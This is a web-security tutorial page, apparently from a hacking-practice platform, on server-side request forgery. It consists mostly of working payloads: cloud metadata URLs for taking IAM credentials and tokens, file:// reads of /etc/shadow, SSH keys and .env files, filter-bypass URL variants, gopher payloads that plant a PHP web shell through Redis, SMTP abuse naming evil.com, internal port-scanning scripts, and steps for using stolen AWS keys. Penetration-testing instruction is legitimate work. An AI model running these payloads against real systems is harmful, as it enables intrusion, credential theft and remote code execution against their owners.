Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. This can lead to unauthorized actions, access to internal systems, or data exfiltration.

How It Works​

SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL. For example:

<?php
$url = $_GET['url'];
$data = file_get_contents($url);
echo $data;
?>

An attacker could exploit this:

https://vulnerable-site.com/fetch?url=http://localhost/admin
https://vulnerable-site.com/fetch?url=http://169.254.169.254/latest/meta-data/

The server makes requests on behalf of the attacker, potentially accessing internal resources or cloud metadata.

Detection​

Manual Testing​

URL Parameter Tests​

Testing parameters that accept URLs:

# Step 1: Identify URL parameters
https://site.com/fetch?url=https://example.com
https://site.com/proxy?target=https://example.com
https://site.com/image?src=https://example.com/image.jpg
https://site.com/api/webhook?callback=https://example.com/hook

# Step 2: Test with controlled server
# Setup listener on your server
python3 -m http.server 8000

# Test if server makes request
https://site.com/fetch?url=http://your-server.com:8000/test

# Step 3: Check your server logs
# If you see incoming request, SSRF exists

# Step 4: Test internal access
https://site.com/fetch?url=http://localhost/
https://site.com/fetch?url=http://127.0.0.1/
https://site.com/fetch?url=http://0.0.0.0/

Internal Network Tests​

Testing access to internal resources:

# Localhost variations
http://localhost/
http://127.0.0.1/
http://0.0.0.0/
http://[::1]/
http://127.1/
http://2130706433/ # Decimal IP for 127.0.0.1

# Internal IP ranges
http://192.168.0.1/
http://192.168.1.1/
http://10.0.0.1/
http://172.16.0.1/

# Internal ports scanning
http://127.0.0.1:22/ # SSH
http://127.0.0.1:3306/ # MySQL
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:8080/ # Common web port
http://127.0.0.1:9200/ # Elasticsearch

Cloud Metadata Tests​

Testing access to cloud provider metadata:

# AWS Metadata
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/

# Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token

# Google Cloud Metadata
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata/computeMetadata/v1/

# Digital Ocean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/user-data

# Oracle Cloud
http://169.254.169.254/opc/v1/instance/

Protocol Testing​

Testing different protocols:

# File protocol
file:///etc/passwd
file:///c:/windows/win.ini
file://\/\/etc/passwd

# Dict protocol (Redis/Memcached interaction)
dict://127.0.0.1:6379/info
dict://127.0.0.1:11211/stats

# Gopher protocol (Raw TCP)
gopher://127.0.0.1:6379/_INFO
gopher://127.0.0.1:3306/

# LDAP protocol
ldap://127.0.0.1:389/
ldap://localhost:389/%0astats%0aquit

# FTP protocol
ftp://127.0.0.1/
ftp://user:pass@internal-ftp/file.txt

Port Scanning Tests​

Using SSRF for internal port scanning:

# Basic port scan
http://127.0.0.1:22 # SSH
http://127.0.0.1:80 # HTTP
http://127.0.0.1:443 # HTTPS
http://127.0.0.1:3306 # MySQL
http://127.0.0.1:5432 # PostgreSQL
http://127.0.0.1:6379 # Redis
http://127.0.0.1:8080 # Alt HTTP
http://127.0.0.1:9200 # Elasticsearch

# Response time analysis
# Open ports may respond differently than closed ports
# Longer timeout might indicate filtered port
# Quick response might indicate closed port

Blind SSRF Tests​

Testing when no direct response is visible:

# Time-based detection
# Try accessing slow endpoints
http://example.com/large-file.zip
# If page loads slower, SSRF might exist

# DNS-based detection
# Use services like Burp Collaborator or interact.sh
http://unique-identifier.burpcollaborator.net
http://unique-identifier.interact.sh

# Check for DNS lookups in your logs
# If DNS query appears, blind SSRF confirmed

# Out-of-band HTTP
http://unique-identifier.burpcollaborator.net/callback
# Monitor for HTTP requests

Automated Discovery​

Using Burp Suite​

# Step 1: Identify potential SSRF parameters
# Look for parameters containing:
# - url, uri, path, dest, destination
# - redirect, target, link, nav
# - callback, webhook, fetch

# Step 2: Use Burp Collaborator
# Replace parameter value with Collaborator URL
url=http://BURP-COLLABORATOR-SUBDOMAIN

# Step 3: Check Collaborator for interactions
# DNS queries or HTTP requests indicate SSRF

# Step 4: Use Burp Intruder for port scanning
# Set payload position: http://127.0.0.1:§8080§
# Payload: Numbers 1-65535
# Analyze response times and lengths

Using SSRFmap​

# Basic SSRF exploitation
python3 ssrfmap.py -r request.txt -p url -m readfiles

# AWS metadata extraction
python3 ssrfmap.py -r request.txt -p url -m aws

# Port scanning through SSRF
python3 ssrfmap.py -r request.txt -p url -m portscan

# Redis exploitation
python3 ssrfmap.py -r request.txt -p url -m redis

Using Nuclei​

# Run SSRF templates
nuclei -u https://target.com -t ssrf/

# Specific SSRF checks
nuclei -u https://target.com -t ssrf/ssrf-parameter.yaml

# Cloud metadata checks
nuclei -u https://target.com -t ssrf/aws-metadata.yaml

Attack Vectors​

Local File Access​

Reading local files through SSRF:

# Basic file reading
file:///etc/passwd
file:///etc/hosts
file:///etc/shadow
file:///proc/self/environ
file:///proc/self/cmdline

# Windows files
file:///c:/windows/win.ini
file:///c:/windows/system32/drivers/etc/hosts
file:///c:/boot.ini

# Application files
file:///var/www/html/config.php
file:///var/www/.env
file:///home/user/.ssh/id_rsa

Cloud Metadata Exploitation​

Extracting cloud credentials and configuration:

# AWS IAM Credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Follow with role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]

# AWS User Data (may contain secrets)
http://169.254.169.254/latest/user-data

# AWS Instance Identity
http://169.254.169.254/latest/dynamic/instance-identity/document

# Azure Access Token
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# Google Cloud Service Account Token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires header: Metadata-Flavor: Google

# Google Cloud SSH Keys
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys

Internal Network Scanning​

Scanning internal networks through SSRF:

# Python script for automated scanning
import requests

target = "https://vulnerable-site.com/fetch?url="
internal_ips = [
"192.168.1.{}".format(i) for i in range(1, 255)
]
ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200]

for ip in internal_ips:
for port in ports:
url = f"{target}http://{ip}:{port}/"
try:
response = requests.get(url, timeout=2)
if response.status_code != 500: # Not timeout error
print(f"[+] Found: {ip}:{port}")
except:
continue

Service Exploitation​

Exploiting internal services through SSRF:

# Redis exploitation via Gopher
# Generate Redis command payload
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20shell.php
gopher://127.0.0.1:6379/_SET%20shell%20"<?php%20system($_GET['cmd']);%20?>"
gopher://127.0.0.1:6379/_SAVE

# Memcached exploitation
gopher://127.0.0.1:11211/_stats
gopher://127.0.0.1:11211/_get%20admin_password

# MySQL exploitation (requires multi-line Gopher)
gopher://127.0.0.1:3306/_[MYSQL_PROTOCOL_PAYLOAD]

# SMTP exploitation (send email)
gopher://127.0.0.1:25/_HELO%20attacker
gopher://127.0.0.1:25/_MAIL%20FROM:attacker@evil.com
gopher://127.0.0.1:25/_RCPT%20TO:victim@target.com
gopher://127.0.0.1:25/_DATA
gopher://127.0.0.1:25/_Subject:%20SSRF%20Test

XXE to SSRF Chain​

Combining XXE with SSRF:

# Upload XML file with external entity
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>
<data>&xxe;</data>
</root>

# SVG file with SSRF
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
<image href="http://169.254.169.254/latest/meta-data/" />
</svg>

Bypass Techniques​

Blacklist Bypass​

Bypassing IP blacklists:

# Localhost alternatives
http://127.0.0.1/
http://127.1/
http://0.0.0.0/
http://[::1]/
http://localhost/
http://127.00.00.01/
http://127.0.1/
http://2130706433/ # Decimal IP
http://0x7f.0x0.0x0.0x1/ # Hex IP
http://0177.0000.0000.0001/ # Octal IP

# DNS rebinding
# Point domain to allowed IP first
# Then change DNS to point to internal IP
http://attacker-domain.com/

# Using redirect
# Host open redirect on allowed domain
http://allowed.com/redirect?url=http://169.254.169.254/

# Using @
http://allowed.com@127.0.0.1/
http://allowed.com#@127.0.0.1/

# URL encoding
http://127.0.0.1/ → http://%31%32%37%2e%30%2e%30%2e%31/
http://localhost/ → http://%6c%6f%63%61%6c%68%6f%73%74/

Protocol Bypass​

Using alternative protocols:

# When http:// is blocked
https://127.0.0.1/
ftp://127.0.0.1/
file:///etc/passwd
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_INFO
ldap://127.0.0.1:389/
tftp://127.0.0.1:69/

# Protocol case variation
HTTP://127.0.0.1/
hTTp://127.0.0.1/
HtTp://127.0.0.1/

# Missing protocol
//127.0.0.1/
//localhost/

Domain Bypass​

Bypassing domain restrictions:

# Using subdomains
http://127.0.0.1.allowed-domain.com/
http://allowed-domain.com.127.0.0.1.nip.io/

# Using TLD confusion
http://127.0.0.1.com/
http://localhost.com/

# Unicode/IDN bypass
http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ/
http://127.0.0.① / # Unicode digit

# DNS services
http://127.0.0.1.nip.io/
http://127.0.0.1.xip.io/
http://127.0.0.1.sslip.io/

Port Bypass​

Accessing restricted ports:

# Port in username
http://127.0.0.1:80@allowed.com/
http://127.0.0.1:3306@allowed.com/

# Fragment with port
http://allowed.com#@127.0.0.1:22/

# Multiple ports (some parsers use first, some use last)
http://127.0.0.1:80:8080/
http://127.0.0.1::8080/

URL Parser Confusion​

Exploiting URL parsing differences:

# Different components parsed differently
http://foo@evil.com:80@127.0.0.1/
# Some parsers see: evil.com:80
# Others see: 127.0.0.1

# Using backslash (Windows-style)
http://allowed.com\@127.0.0.1/

# Mixed separators
http://allowed.com#@127.0.0.1/
http://allowed.com?@127.0.0.1/

# Whitespace injection
http://allowed.com %0A@127.0.0.1/
http://allowed.com%09@127.0.0.1/
http://allowed.com%0D@127.0.0.1/

Open Redirect Chain​

Chaining SSRF with open redirects:

# If allowed-domain.com has open redirect
http://allowed-domain.com/redirect?url=http://169.254.169.254/

# Using redirect to bypass filters
# 1. Create redirect on your server
# 2. Point SSRF to your redirect
http://your-server.com/redirect-to-metadata

# 3. Your server redirects to metadata
Location: http://169.254.169.254/latest/meta-data/

DNS Rebinding​

Time-based DNS rebinding attack:

# Step 1: Setup DNS server with short TTL
# Initially resolve to allowed IP: 203.0.113.1
# After validation, change to: 127.0.0.1

# Step 2: Trigger SSRF
http://rebind.attacker.com/

# Step 3: App validates domain -> allowed
# Step 4: DNS TTL expires
# Step 5: App makes actual request -> now points to 127.0.0.1

# Tools: singularity, DNSrebinder

IPv6 Bypass​

Using IPv6 addresses:

# IPv6 localhost
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
http://[0000:0000:0000:0000:0000:0000:0000:0001]/

# IPv6 compressed
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6

# Link-local addresses
http://[fe80::1]/
http://[fe80::]/

Post-Exploitation​

AWS Metadata Exploitation​

Complete AWS credential extraction:

# Step 1: List available roles
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Step 2: Extract role credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]

# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "..."
}

# Step 3: Use credentials with AWS CLI
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

aws s3 ls
aws ec2 describe-instances
aws iam get-user

Internal Service Mapping​

Mapping internal infrastructure:

# Port scanning script
import requests
import concurrent.futures

def check_port(ip, port):
url = f"https://vulnerable.com/fetch?url=http://{ip}:{port}/"
try:
r = requests.get(url, timeout=3)
if "Connection refused" not in r.text:
return f"{ip}:{port} - OPEN"
except:
pass
return None

ips = ["192.168.1.{}".format(i) for i in range(1, 255)]
ports = [21, 22, 23, 25, 80, 443, 3306, 3389, 5432, 6379, 8080, 9200]

with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = []
for ip in ips:
for port in ports:
futures.append(executor.submit(check_port, ip, port))

for future in concurrent.futures.as_completed(futures):
result = future.result()
if result:
print(result)

Data Exfiltration​

Exfiltrating data through SSRF:

# Reading application config
file:///var/www/html/config.php
file:///var/www/.env
file:///etc/nginx/nginx.conf

# Reading AWS credentials from disk
file:///home/ubuntu/.aws/credentials
file:///root/.aws/credentials

# Proc filesystem
file:///proc/self/environ # Environment variables
file:///proc/self/cmdline # Command line
file:///proc/self/cwd/config.php # Current working directory files

Gopher Protocol Exploitation​

Advanced service exploitation:

# Redis shell writing via Gopher
# URL encode the following:
gopher://127.0.0.1:6379/_
*3
$3
SET
$5
shell
$30
<?php system($_GET['cmd']); ?>

*4
$6
CONFIG
$3
SET
$3
dir
$13
/var/www/html

*4
$6
CONFIG
$3
SET
$10
dbfilename
$9
shell.php

*1
$4
SAVE

# URL encoded version goes in SSRF parameter

Common Tools​

ToolDescriptionPrimary Use Case
SSRFmapSSRF exploitation toolAutomated SSRF exploitation
GopherusGopher payload generatorService exploitation via SSRF
Burp CollaboratorOut-of-band testingBlind SSRF detection
interact.shDNS/HTTP loggerBlind SSRF verification
NucleiVulnerability scannerSSRF detection
SSRFireSSRF exploitation frameworkAdvanced SSRF testing